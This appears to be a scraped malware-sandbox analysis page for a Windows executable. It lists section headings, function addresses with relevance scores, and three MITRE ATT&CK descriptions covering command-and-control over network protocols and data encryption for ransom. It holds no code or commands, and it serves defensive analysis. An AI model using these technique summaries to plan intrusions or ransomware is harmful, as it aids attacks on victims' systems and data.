Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Windows Analysis Report
ExeFile (317).exe

Function 0040FA80 Relevance: 63.2, APIs: 23, Strings: 13, Instructions: 250
windowregistrythreadCOMMON

Function 00641030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Function 00627D60 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 219
fileCOMMON

Function 006238B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Function 006280D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169
fileCOMMON

Function 00624F50 Relevance: 3.2, APIs: 2, Instructions: 249
memoryCOMMON

Function 00623060 Relevance: 1.7, APIs: 1, Instructions: 166
memoryCOMMON

Function 00626D70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
libraryCOMMON

Function 00625C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Function 0053002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Function 0041025B Relevance: 4.6, APIs: 3, Instructions: 58
memoryCOMMONLIBRARYCODE

Function 00629530 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201
COMMON

Function 00624A80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87
processCOMMON

Function 0040EC40 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 42
memoryCOMMON

Function 00641D10 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre